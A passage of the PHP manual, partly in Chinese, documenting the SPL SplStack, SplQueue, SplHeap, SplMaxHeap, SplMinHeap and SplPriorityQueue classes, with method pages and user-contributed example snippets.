     */
    function peek() {
        return $this->queue->bottom();
    }

    /**
     * Returns whether the queue is empty.
     * @return Boolean
     */
    function empty() {
        return $this->queue->isEmpty();
    }
}

/**
 * Your MyQueue object will be instantiated and called as such:
 * $obj = MyQueue();
 * $obj->push($x);
 * $ret_2 = $obj->pop();
 * $ret_3 = $obj->peek();
 * $ret_4 = $obj->empty();
 */
lincoln dot du dot j at gmail dot com 12-Jul-2017 06:48
<?php
//SplStack Mode is LIFO (Last In First Out)

$q = new SplStack();

$q[] = 1;
$q[] = 2;
$q[] = 3;
$q->push(4);
$q->add(4,5);

$q->rewind();
while($q->valid()){
    echo $q->current(),"\n";
    $q->next();
}
?>

Output
5
4
3
2
1
lsroudi at gmail dot com 19-Jan-2014 12:03
the SplStack is  simply a SplDoublyLinkedList with  an iteration mode IT_MODE_LIFO and IT_MODE_KEEP


SplQueue 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

SplQueue 类的主要功能是通过将迭代模式设置为 SplDoublyLinkedList::IT_MODE_FIFO 来提供使用双向链表实现的队列。

类摘要

class SplQueue extends SplDoublyLinkedList {
/* 继承的常量 */
public const int SplDoublyLinkedList::IT_MODE_LIFO;
public const int SplDoublyLinkedList::IT_MODE_FIFO;
public const int SplDoublyLinkedList::IT_MODE_DELETE;
public const int SplDoublyLinkedList::IT_MODE_KEEP;
/* 方法 */
public dequeue(): mixed
public enqueue(mixed $value): void
/* 继承的方法 */
public SplDoublyLinkedList::add(int $index, mixed $value): void
public SplDoublyLinkedList::bottom(): mixed
public SplDoublyLinkedList::count(): int
public SplDoublyLinkedList::current(): mixed
public SplDoublyLinkedList::getIteratorMode(): int
public SplDoublyLinkedList::isEmpty(): bool
public SplDoublyLinkedList::key(): int
public SplDoublyLinkedList::next(): void
public SplDoublyLinkedList::offsetExists(int $index): bool
public SplDoublyLinkedList::offsetGet(int $index): mixed
public SplDoublyLinkedList::offsetSet(?int $index, mixed $value): void
public SplDoublyLinkedList::offsetUnset(int $index): void
public SplDoublyLinkedList::pop(): mixed
public SplDoublyLinkedList::prev(): void
public SplDoublyLinkedList::push(mixed $value): void
public SplDoublyLinkedList::rewind(): void
public SplDoublyLinkedList::serialize(): string
public SplDoublyLinkedList::setIteratorMode(int $mode): int
public SplDoublyLinkedList::shift(): mixed
public SplDoublyLinkedList::top(): mixed
public SplDoublyLinkedList::unserialize(string $data): void
public SplDoublyLinkedList::unshift(mixed $value): void
public SplDoublyLinkedList::valid(): bool
}

示例

Example #1 SplQueue 示例

<?php
$q = new SplQueue();
$q[] = 1;
$q[] = 2;
$q[] = 3;
foreach ($q as $elem) {
echo $elem."\n";
}
?>

以上示例会输出：

1
2
3

Example #2 使用 SplQueue 高效处理任务

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);
// ... enqueue some tasks on the queue ...
// process them
foreach ($q as $task) {
// ... process $task ...
// add new tasks on the queue
$q[] = $newTask;
// ...
}
?>

Table of Contents

  • SplQueue::dequeue — Dequeues a node from the queue
  • SplQueue::enqueue — Adds an element to the queue

User Contributed Notes

booleantype at ya dot ru 18-May-2021 07:58
Answer to Manu Manjunath post (#114336).

IMO, pop() works as expected.

There are 2 main groups of methods:

1) pop() & push() are inherited from SplDoublyLinkedList and can be applied to SplStack as well as SplQueue (ie are "faceless"). It isn't about stack or queue; it's just about deleting / adding element to the end of the list;

2) the same situation with shift() & unshift(): it is just about adding an element to the beginning of the list, and doesn't matter, if we use it on SplStack or SplQueue.

So, yes, $q->pop(); will remove *last* element from SplQueue $q.

But enqueue() & dequeue() *are about* SplQueue. FIFO principle is realized by these methods, which were implemented *exactly* for queue purpose:
- enqueue() adds an element to the end of the queue and is alias for "faceless" push() (FI...);
- dequeue() removes element from the beginning of the queue and is alias for "faceless" shift() (...FO).

If you want to delete *next in line* element from *queue*, use dequeue().
If you want to delete *last* element from the list (doesn't matter, if it's queue or stack), use pop().
mostefa dot medjahed dot pro at gmail dot com 01-Mar-2021 07:13
As was said before, the push () and pop () methods on a SplQueue object, its behave like a stack rather than a queue.

Knowing that the enqueue () and dequeue () methods are respectively aliases of push () and shift () methods, we can also use SplQueue :: push () and SplQueue :: shift () for the same purpose as SplQueue :: enqueue and SplQueue :: dequeue.
lincoln dot du dot j at gmail dot com 12-Jul-2017 07:07
<?php

$queue = new SplQueue();
$queue->enqueue('A');
$queue->enqueue('B');
$queue->enqueue('C');

$queue->rewind();
while($queue->valid()){
    echo $queue->current(),"\n";
    $queue->next();
}

print_r($queue);
$queue->dequeue(); //remove first one
print_r($queue);

?>
Output

A
B
C
SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => A
            [1] => B
            [2] => C
        )

)
SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => B
            [1] => C
        )

)
Stingus 23-Sep-2016 10:16
Take care that SplQueue::valid() is not returning true if the queue has nodes. Use isEmpty() instead:

$queue = new SplQueue();
$queue->enqueue('A');
$queue->enqueue('B');
$queue->enqueue('C');
var_dump($queue->valid()); // false
var_dump(!$queue->isEmpty()); // true
MrStonedOne 31-Dec-2014 04:49
You can use shift/unshift and push/pop to dequeue/undequeue and queue/unqueue respectively. Really handy for those applications that use sockets where you might not know you can't send data until you attempt to.

for example, this is a function for an application that will un-dequeue the remainder of the data if socket_write indicated it did not write the entire contents of the provided data.

<?php
function processSendQueue($socket, $sendQueue) {
    while (!$sendQueue->isEmpty()) {
                            //shift() is the same as dequeue()
        $senditem = $sendQueue->shift();

        //returns the number of bytes written.
        $rtn = socket_write($socket, $senditem);
        if ($rtn === false) {
            $sendQueue->unshift($senditem);
            throw new exception("send error: " . socket_last_error($socket));
            return;
        }
        if ($rtn < strlen($senditem) {
            $sendQueue->unshift(substr($senditem, $rtn);
            break;
        }
    }
}
?>
Manu Manjunath 10-Feb-2014 10:56
SplQueue inherits from SplDoublyLinkedList. So, objects of SplQueue support methods push() and pop(). But please be advised that if you use push() and pop() methods on a SplQueue object, it behaves like a stack rather than a queue.

For example:

$q = new SplQueue();
$q->push(1);
$q->push(2);
$q->push(3);
$q->pop();
print_r($q);

Above code returns:

SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
        )
)

Note that 3 got popped and *not* 1.

So, please make sure that you use only enqueue() and dequeue() methods on a SplQueue object and *not* push() and pop().


Dequeues a node from the queue

  • ? SplQueue
  • SplQueue::enqueue ?
  • PHP Manual
  • SplQueue
  • Dequeues a node from the queue

SplQueue::dequeue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplQueue::dequeue — Dequeues a node from the queue

说明

public SplQueue::dequeue(): mixed

Dequeues value from the top of the queue.

Note:

SplQueue::dequeue() is an alias of SplDoublyLinkedList::shift().

参数

此函数没有参数。

返回值

The value of the dequeued node.

User Contributed Notes

mark at bull-roarer dot com 06-Jul-2013 03:31
I just thought this was a fun and interesting way for lining up method calls and then calling them back-to-back. Might be useful as a basis for a transactional execution class or something.

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

$q->enqueue(array("FooBar", "foo"));
$q->enqueue(array("FooBar", "bar"));
$q->enqueue(array("FooBar", "msg", "Hi there!"));

foreach ($q as $task) {
  if (count($task) > 2) {
    list($class, $method, $args) = $task;
    $class::$method($args);
  } else {
    list($class, $method) = $task;
    $class::$method();
  }
}

class FooBar {
  public static function foo() {
    echo "FooBar::foo() called.\n";
  }
  public static function bar() {
    echo "FooBar::bar() called.\n";
  }
  public static function msg($msg) {
    echo "$msg\n";
  }
}
?>

Results:
FooBar::foo() called.
FooBar::bar() called.
Hi there!
mark at bull-roarer dot com 06-Jul-2013 03:30
I just thought this was a fun and interesting way for lining up method calls and then calling them back-to-back. Might be useful as a basis for a transactional execution class or something.

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

$q->enqueue(array("FooBar", "foo"));
$q->enqueue(array("FooBar", "bar"));
$q->enqueue(array("FooBar", "msg", "Hi there!"));

foreach ($q as $task) {
  if (count($task) > 2) {
    list($class, $method, $args) = $task;
    $class::$method($args);
  } else {
    list($class, $method) = $task;
    $class::$method();
  }
}

class FooBar {
  public static function foo() {
    echo "FooBar::foo() called.\n";
  }
  public static function bar() {
    echo "FooBar::bar() called.\n";
  }
  public static function msg($msg) {
    echo "$msg\n";
  }
}
?>

Results:
FooBar::foo() called.
FooBar::bar() called.
Hi there!
andresdzphp at php dot net 30-Sep-2011 11:10
<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);
$q->enqueue('item 1');
$q->enqueue('item 2');
$q->enqueue('item 3');

$q->dequeue();
$q->dequeue();

foreach ($q as $item) {
    echo $item;
}

//Result: item 3

$q->dequeue(); //Fatal error: Uncaught exception 'RuntimeException'
              //with message 'Can't shift from an empty datastructure'
?>
xuecan at gmail dot com 20-Jan-2010 08:57
If the queue is empty, dequeue() will raise an 'RuntimeException' with message 'Can't shift from an empty datastructure'.


Adds an element to the queue

  • ? SplQueue::dequeue
  • SplHeap ?
  • PHP Manual
  • SplQueue
  • Adds an element to the queue

SplQueue::enqueue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplQueue::enqueue — Adds an element to the queue

说明

public SplQueue::enqueue(mixed $value): void

Enqueues value at the end of the queue.

Note:

SplQueue::enqueue() is an alias of SplDoublyLinkedList::push().

参数

value

The value to enqueue.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The SplHeap class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

The SplHeap class provides the main functionalities of a Heap.

类摘要

abstract class SplHeap implements Iterator, Countable {
/* 方法 */
protected compare(mixed $value1, mixed $value2): int
public count(): int
public current(): mixed
public extract(): mixed
public insert(mixed $value): true
public isCorrupted(): bool
public isEmpty(): bool
public key(): int
public next(): void
public recoverFromCorruption(): bool
public rewind(): void
public top(): mixed
public valid(): bool
}

Table of Contents

  • SplHeap::compare — Compare elements in order to place them correctly in the heap while sifting up
  • SplHeap::count — Counts the number of elements in the heap
  • SplHeap::current — Return current node pointed by the iterator
  • SplHeap::extract — Extracts a node from top of the heap and sift up
  • SplHeap::insert — Inserts an element in the heap by sifting it up
  • SplHeap::isCorrupted — Tells if the heap is in a corrupted state
  • SplHeap::isEmpty — Checks whether the heap is empty
  • SplHeap::key — Return current node index
  • SplHeap::next — Move to the next node
  • SplHeap::recoverFromCorruption — Recover from the corrupted state and allow further actions on the heap
  • SplHeap::rewind — Rewind iterator back to the start (no-op)
  • SplHeap::top — Peeks at the node from the top of the heap
  • SplHeap::valid — Check whether the heap contains more nodes

User Contributed Notes

Anthony 08-Jun-2016 12:15
If you wish to build a true tree based heap, you can do so as follows (implemented with SplMinHeap, but could be SplMaxHeap if you wish for the opposite order of items):

The stucture that we're trying to represent:

         1
         |
+-----+--+--+-----+
|     |     |     |
2     3     4     5
|     |           |
+   +-+-+         +
|   |   |         |
7   6   8         9
                  |
                +-+-+
                |   |
               10   11

<?php
$h = new SplMinHeap();

// [parent, child]
$h->insert([9, 11]);
$h->insert([0, 1]);
$h->insert([1, 2]);
$h->insert([1, 3]);
$h->insert([1, 4]);
$h->insert([1, 5]);
$h->insert([3, 6]);
$h->insert([2, 7]);
$h->insert([3, 8]);
$h->insert([5, 9]);
$h->insert([9, 10]);

for ($h->top(); $h->valid(); $h->next()) {
    list($parentId, $myId) = $h->current();
    echo "$myId ($parentId)\n";
}
?>

As you iterate over the heap, the return data will be read as if you're reading a book; ie left to right, top to bottom. It will NOT follow the relationships.

So, the above code will output the following:

1 (0)
2 (1)
3 (1)
4 (1)
5 (1)
7 (2)
6 (3)
8 (3)
9 (5)
10 (9)
11 (9)
igorsantos07 at gmail dot com 26-Jun-2014 01:02
While Michelangelo Van Dam example (http://br2.php.net/manual/en/class.splheap.php#93930) is a great demonstration of what can be done with SplHeap, this implementation is exactly what SplPriorityQueue does - based on SplMaxHeap. If you're planning to copy that snippet, go no further! There's a SPL class that does exactly what you want :)
Michelangelo van Dam 06-Oct-2009 11:44
To have a good idea what you can do with SplHeap, I created a little example script that will show the rankings of Belgian soccer teams in the Jupiler League.

<?php
/**
 * A class that extends SplHeap for showing rankings in the Belgian
 * soccer tournament JupilerLeague
 */
class JupilerLeague extends SplHeap
{
    /**
     * We modify the abstract method compare so we can sort our
     * rankings using the values of a given array
     */
    public function compare($array1, $array2)
    {
        $values1 = array_values($array1);
        $values2 = array_values($array2);
        if ($values1[0] === $values2[0]) return 0;
        return $values1[0] < $values2[0] ? -1 : 1;
    }
}

// Let's populate our heap here (data of 2009)
$heap = new JupilerLeague();
$heap->insert(array ('AA Gent' => 15));
$heap->insert(array ('Anderlecht' => 20));
$heap->insert(array ('Cercle Brugge' => 11));
$heap->insert(array ('Charleroi' => 12));
$heap->insert(array ('Club Brugge' => 21));
$heap->insert(array ('G. Beerschot' => 15));
$heap->insert(array ('Kortrijk' => 10));
$heap->insert(array ('KV Mechelen' => 18));
$heap->insert(array ('Lokeren' => 10));
$heap->insert(array ('Moeskroen' => 7));
$heap->insert(array ('Racing Genk' => 11));
$heap->insert(array ('Roeselare' => 6));
$heap->insert(array ('Standard' => 20));
$heap->insert(array ('STVV' => 17));
$heap->insert(array ('Westerlo' => 10));
$heap->insert(array ('Zulte Waregem' => 15));

// For displaying the ranking we move up to the first node
$heap->top();

// Then we iterate through each node for displaying the result
while ($heap->valid()) {
  list ($team, $score) = each ($heap->current());
  echo $team . ': ' . $score . PHP_EOL;
  $heap->next();
}
?>

This results in the following output:
Club Brugge: 21
Anderlecht: 20
Standard: 20
KV Mechelen: 18
STVV: 17
Zulte Waregem: 15
AA Gent: 15
G. Beerschot: 15
Charleroi: 12
Racing Genk: 11
Cercle Brugge: 11
Kortrijk: 10
Lokeren: 10
Westerlo: 10
Moeskroen: 7
Roeselare: 6

Hope this example paved the way for more complex implementations of SplHeap.


Compare elements in order to place them correctly in the heap while sifting up

  • ? SplHeap
  • SplHeap::count ?
  • PHP Manual
  • SplHeap
  • Compare elements in order to place them correctly in the heap while sifting up

SplHeap::compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::compare — Compare elements in order to place them correctly in the heap while sifting up

说明

protected SplHeap::compare(mixed $value1, mixed $value2): int

Compare value1 with value2.

Warning

Throwing exceptions in SplHeap::compare() can corrupt the Heap and place it in a blocked state. You can unblock it by calling SplHeap::recoverFromCorruption(). However, some elements might not be placed correctly and it may hence break the heap-property.

参数

value1

The value of the first node being compared.

value2

The value of the second node being compared.

返回值

Result of the comparison, positive integer if value1 is greater than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

There are no user contributed notes for this page.


Counts the number of elements in the heap

  • ? SplHeap::compare
  • SplHeap::current ?
  • PHP Manual
  • SplHeap
  • Counts the number of elements in the heap

SplHeap::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::count — Counts the number of elements in the heap

说明

public SplHeap::count(): int

参数

此函数没有参数。

返回值

Returns the number of elements in the heap.

User Contributed Notes

There are no user contributed notes for this page.


Return current node pointed by the iterator

  • ? SplHeap::count
  • SplHeap::extract ?
  • PHP Manual
  • SplHeap
  • Return current node pointed by the iterator

SplHeap::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::current — Return current node pointed by the iterator

说明

public SplHeap::current(): mixed

Get the current datastructure node.

参数

此函数没有参数。

返回值

The current node value.

User Contributed Notes

There are no user contributed notes for this page.


Extracts a node from top of the heap and sift up

  • ? SplHeap::current
  • SplHeap::insert ?
  • PHP Manual
  • SplHeap
  • Extracts a node from top of the heap and sift up

SplHeap::extract

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::extract — Extracts a node from top of the heap and sift up

说明

public SplHeap::extract(): mixed

参数

此函数没有参数。

返回值

The value of the extracted node.

错误／异常

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

Sandro Alves Peres 12-Jun-2013 01:06
<?php
$heap = new SplMaxHeap(); # Ascending order
$heap->insert('E');
$heap->insert('B');
$heap->insert('D');
$heap->insert('A');
$heap->insert('C');

echo $heap->extract(), PHP_EOL; # E
echo $heap->extract(), PHP_EOL; # D

$heap = new SplMinHeap(); # Descending order
$heap->insert('E');
$heap->insert('B');
$heap->insert('D');
$heap->insert('A');
$heap->insert('C');

print PHP_EOL;
echo $heap->extract(), PHP_EOL; # A
echo $heap->extract(), PHP_EOL; # B
?>


Inserts an element in the heap by sifting it up

  • ? SplHeap::extract
  • SplHeap::isCorrupted ?
  • PHP Manual
  • SplHeap
  • Inserts an element in the heap by sifting it up

SplHeap::insert

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::insert — Inserts an element in the heap by sifting it up

说明

public SplHeap::insert(mixed $value): true

Insert value in the heap.

参数

value

The value to insert.

返回值

总是返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Tells if the heap is in a corrupted state

  • ? SplHeap::insert
  • SplHeap::isEmpty ?
  • PHP Manual
  • SplHeap
  • Tells if the heap is in a corrupted state

SplHeap::isCorrupted

(PHP 7, PHP 8)

SplHeap::isCorrupted — Tells if the heap is in a corrupted state

说明

public SplHeap::isCorrupted(): bool

参数

此函数没有参数。

返回值

Returns true if the heap is corrupted, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the heap is empty

  • ? SplHeap::isCorrupted
  • SplHeap::key ?
  • PHP Manual
  • SplHeap
  • Checks whether the heap is empty

SplHeap::isEmpty

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::isEmpty — Checks whether the heap is empty

说明

public SplHeap::isEmpty(): bool

参数

此函数没有参数。

返回值

Returns whether the heap is empty.

User Contributed Notes

There are no user contributed notes for this page.


Return current node index

  • ? SplHeap::isEmpty
  • SplHeap::next ?
  • PHP Manual
  • SplHeap
  • Return current node index

SplHeap::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::key — Return current node index

说明

public SplHeap::key(): int

This function returns the current node index

参数

此函数没有参数。

返回值

The current node index.

User Contributed Notes

There are no user contributed notes for this page.


Move to the next node

  • ? SplHeap::key
  • SplHeap::recoverFromCorruption ?
  • PHP Manual
  • SplHeap
  • Move to the next node

SplHeap::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::next — Move to the next node

说明

public SplHeap::next(): void

Move to the next node. This will delete the top node of the heap.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Recover from the corrupted state and allow further actions on the heap

  • ? SplHeap::next
  • SplHeap::rewind ?
  • PHP Manual
  • SplHeap
  • Recover from the corrupted state and allow further actions on the heap

SplHeap::recoverFromCorruption

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::recoverFromCorruption — Recover from the corrupted state and allow further actions on the heap

说明

public SplHeap::recoverFromCorruption(): bool

参数

此函数没有参数。

返回值

Always returns true.

User Contributed Notes

There are no user contributed notes for this page.


Rewind iterator back to the start (no-op)

  • ? SplHeap::recoverFromCorruption
  • SplHeap::top ?
  • PHP Manual
  • SplHeap
  • Rewind iterator back to the start (no-op)

SplHeap::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::rewind — Rewind iterator back to the start (no-op)

说明

public SplHeap::rewind(): void

This rewinds the iterator to the beginning. This is a no-op for heaps as the iterator is virtual and in fact never moves from the top of the heap.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Peeks at the node from the top of the heap

  • ? SplHeap::rewind
  • SplHeap::valid ?
  • PHP Manual
  • SplHeap
  • Peeks at the node from the top of the heap

SplHeap::top

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::top — Peeks at the node from the top of the heap

说明

public SplHeap::top(): mixed

参数

此函数没有参数。

返回值

The value of the node on the top.

错误／异常

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the heap contains more nodes

  • ? SplHeap::top
  • SplMaxHeap ?
  • PHP Manual
  • SplHeap
  • Check whether the heap contains more nodes

SplHeap::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::valid — Check whether the heap contains more nodes

说明

public SplHeap::valid(): bool

Checks if the heap contains any more nodes.

参数

此函数没有参数。

返回值

Returns true if the heap contains any more nodes, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


The SplMaxHeap class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

The SplMaxHeap class provides the main functionalities of a heap, keeping the maximum on the top.

类摘要

class SplMaxHeap extends SplHeap {
/* 方法 */
protected compare(mixed $value1, mixed $value2): int
/* 继承的方法 */
protected SplHeap::compare(mixed $value1, mixed $value2): int
public SplHeap::count(): int
public SplHeap::current(): mixed
public SplHeap::extract(): mixed
public SplHeap::insert(mixed $value): true
public SplHeap::isCorrupted(): bool
public SplHeap::isEmpty(): bool
public SplHeap::key(): int
public SplHeap::next(): void
public SplHeap::recoverFromCorruption(): bool
public SplHeap::rewind(): void
public SplHeap::top(): mixed
public SplHeap::valid(): bool
}

Table of Contents

  • SplMaxHeap::compare — Compare elements in order to place them correctly in the heap while sifting up

User Contributed Notes

MuLoT [ojousset49 at yahoo dot fr] 17-Dec-2010 05:50
SplMaxHeap simple example with integer values...

&lt;?php
class MySimpleHeap extends SplHeap
{
    public function  compare( $value1, $value2 ) {
        return ( $value1 - $value2 );
    }
}

$obj = new MySimpleHeap();
$obj-&gt;insert( 4 );
$obj-&gt;insert( 8 );
$obj-&gt;insert( 1 );
$obj-&gt;insert( 0 );

foreach( $obj as $number ) {
    echo $number.\&quot;\\n\&quot;;
}

/*
    Output display :
    8
    4
    1
    0
*/
?&gt;


Compare elements in order to place them correctly in the heap while sifting up

  • ? SplMaxHeap
  • SplMinHeap ?
  • PHP Manual
  • SplMaxHeap
  • Compare elements in order to place them correctly in the heap while sifting up

SplMaxHeap::compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplMaxHeap::compare — Compare elements in order to place them correctly in the heap while sifting up

说明

protected SplMaxHeap::compare(mixed $value1, mixed $value2): int

Compare value1 with value2.

参数

value1

The value of the first node being compared.

value2

The value of the second node being compared.

返回值

Result of the comparison, positive integer if value1 is greater than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

sixd at php dot net 21-Dec-2010 12:26
Note the definition of SplMaxHeap::compare() is different from SplMinHeap::compare()


The SplMinHeap class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

The SplMinHeap class provides the main functionalities of a heap, keeping the minimum on the top.

类摘要

class SplMinHeap extends SplHeap {
/* 方法 */
protected compare(mixed $value1, mixed $value2): int
/* 继承的方法 */
protected SplHeap::compare(mixed $value1, mixed $value2): int
public SplHeap::count(): int
public SplHeap::current(): mixed
public SplHeap::extract(): mixed
public SplHeap::insert(mixed $value): true
public SplHeap::isCorrupted(): bool
public SplHeap::isEmpty(): bool
public SplHeap::key(): int
public SplHeap::next(): void
public SplHeap::recoverFromCorruption(): bool
public SplHeap::rewind(): void
public SplHeap::top(): mixed
public SplHeap::valid(): bool
}

Table of Contents

  • SplMinHeap::compare — Compare elements in order to place them correctly in the heap while sifting up

User Contributed Notes

gom 27-Jan-2020 07:12
I experimented what happens when arrays are inserted:

<?php
$heap = new SplMinHeap();
$heap->insert([22,333]);
$heap->insert([2,33]);
$heap->insert([222,3]);

var_export($heap->extract());
echo '<br>';
var_export($heap->extract());
echo '<br>';
var_export($heap->extract());
?>

Output:

array ( 0 => 2, 1 => 33, )
array ( 0 => 22, 1 => 333, )
array ( 0 => 222, 1 => 3, )


Compare elements in order to place them correctly in the heap while sifting up

  • ? SplMinHeap
  • SplPriorityQueue ?
  • PHP Manual
  • SplMinHeap
  • Compare elements in order to place them correctly in the heap while sifting up

SplMinHeap::compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplMinHeap::compare — Compare elements in order to place them correctly in the heap while sifting up

说明

protected SplMinHeap::compare(mixed $value1, mixed $value2): int

Compare value1 with value2.

参数

value1

The value of the first node being compared.

value2

The value of the second node being compared.

返回值

Result of the comparison, positive integer if value1 is lower than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

There are no user contributed notes for this page.


The SplPriorityQueue class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

The SplPriorityQueue class provides the main functionalities of a prioritized queue, implemented using a max heap.

Note: The order of elements with identical priority is undefined. It may differ from the order in which they have been inserted.

类摘要

class SplPriorityQueue implements Iterator, Countable {
/* 常量 */
public const int EXTR_BOTH;
public const int EXTR_PRIORITY;
public const int EXTR_DATA;
/* 方法 */
public compare(mixed $priority1, mixed $priority2): int
public count(): int
public current(): mixed
public extract(): mixed
public getExtractFlags(): int
public insert(mixed $value, mixed $priority): true
public isCorrupted(): bool
public isEmpty(): bool
public key(): int
public next(): void
public recoverFromCorruption(): bool
public rewind(): void
public setExtractFlags(int $flags): int
public top(): mixed
public valid(): bool
}

预定义常量

SplPriorityQueue::EXTR_BOTH

SplPriorityQueue::EXTR_PRIORITY

SplPriorityQueue::EXTR_DATA

Table of Contents

  • SplPriorityQueue::compare — Compare priorities in order to place elements correctly in the heap while sifting up
  • SplPriorityQueue::count — Counts the number of elements in the queue
  • SplPriorityQueue::current — Return current node pointed by the iterator
  • SplPriorityQueue::extract — Extracts a node from top of the heap and sift up
  • SplPriorityQueue::getExtractFlags — Get the flags of extraction
  • SplPriorityQueue::insert — Inserts an element in the queue by sifting it up
  • SplPriorityQueue::isCorrupted — Tells if the priority queue is in a corrupted state
  • SplPriorityQueue::isEmpty — Checks whether the queue is empty
  • SplPriorityQueue::key — Return current node index
  • SplPriorityQueue::next — Move to the next node
  • SplPriorityQueue::recoverFromCorruption — Recover from the corrupted state and allow further actions on the queue
  • SplPriorityQueue::rewind — Rewind iterator back to the start (no-op)
  • SplPriorityQueue::setExtractFlags — Sets the mode of extraction
  • SplPriorityQueue::top — Peeks at the node from the top of the queue
  • SplPriorityQueue::valid — Check whether the queue contains more nodes

User Contributed Notes

doublecompile at gmail dot com 24-Jun-2015 08:19
I've used the SplPriorityQueue to determine an HTTP client's preferred MIME types.

<?php
$queue = new \SplPriorityQueue();
foreach (preg_split('#,\s*#', $_SERVER['HTTP_ACCEPT']) as $accept) {
    $split = preg_split('#;\s*q=#', $accept, 2);
    $queue->insert($split[0], isset($split[1]) ? (float)$split[1] : 1.0);
}
foreach ($queue as $mime) {
    echo $mime, PHP_EOL;
}
?>

My browser sends:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

And this script outputs:
text/html
application/xhtml+xml
application/xml
*/*

A better example:
Accept: text/html, application/xml,text/css;q=0.4,text/plain; q=0.9, application/json;q=0.8

And this script outputs:
text/html
application/xml
text/plain
application/json
text/css
Hayley Watson 06-May-2014 02:10
For a heap-based priority queue to be at its most effective, the "priority" should be something that can take on a wide range of values (lengths, timestamps, populations). It optimises the tasks of searching the queue for the appropriate place to insert an item (and inserting it); and removing the first item in the list.

Items may potentially be inserted into the queue wherever two adjacent items have different priorities. The heap structure is an efficient way of indexing such insertion points when there are many of them distributed throughout the list.

If you have a sharply-limited enumeration of possible priority values, then there are very few insertion possible insertion points - one for each priority value. In that situation, one can make the insertion points explicit (and thus eliminate the need to maintain a heap indexing them) by implementing your priority queue as a list of simple queues from which you draw successive items from the highest-priority nonempty queue.
lsroudi at gmail dot com 05-Feb-2014 06:38
<?php

/**
 * Description of PriorityQueue
 *
 * (c) lsroudi http://lsroudi.com/ <lsroudi@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
interface PriorityLoggerInterface {

    public function insert($value, $priority);
}

class PriorityLogger extends SplPriorityQueue implements PriorityLoggerInterface {

}

class Logger {

    const ERROR = 3;
    const NOTICE = 1;
    const WARNING = 2;

    private $priorityLogger;

    public function __construct(PriorityLoggerInterface $priorityLogger)
    {
        $this->priorityLogger = $priorityLogger;
    }

    public function addMessage($value, $priority)
    {
        $this->priorityLogger->insert($value, $priority);
    }

    public function getPriorityLogger()
    {
        return $this->priorityLogger;
    }

}

$priorityLogger = new PriorityLogger();

$logger = new Logger($priorityLogger);
$logger->addMessage('Message with notice type', Logger::NOTICE);
$logger->addMessage('Message with warning type', Logger::WARNING);
$logger->addMessage('Message with error type', Logger::ERROR);

$priorityLoggerQueue = $logger->getPriorityLogger();

foreach ($priorityLoggerQueue as $queue){
    print $queue . PHP_EOL;
}

//Résultat
//Message with error type
//Message with warning type
//Message with notice type
?>
rajatn at rediff dot co dot in 30-Jul-2010 04:29
quick implementation of SPL Priority Queue:

<?php

class PQtest extends SplPriorityQueue
{
    public function compare($priority1, $priority2)
    {
        if ($priority1 === $priority2) return 0;
        return $priority1 < $priority2 ? -1 : 1;
    }
}

$objPQ = new PQtest();

$objPQ->insert('A',3);
$objPQ->insert('B',6);
$objPQ->insert('C',1);
$objPQ->insert('D',2);

echo "COUNT->".$objPQ->count()."<BR>";

//mode of extraction
$objPQ->setExtractFlags(PQtest::EXTR_BOTH);

//Go to TOP
$objPQ->top();

while($objPQ->valid()){
    print_r($objPQ->current());
    echo "<BR>";
    $objPQ->next();
}

?>

output:

COUNT->4
Array ( [data] => B [priority] => 6 )
Array ( [data] => A [priority] => 3 )
Array ( [data] => D [priority] => 2 )
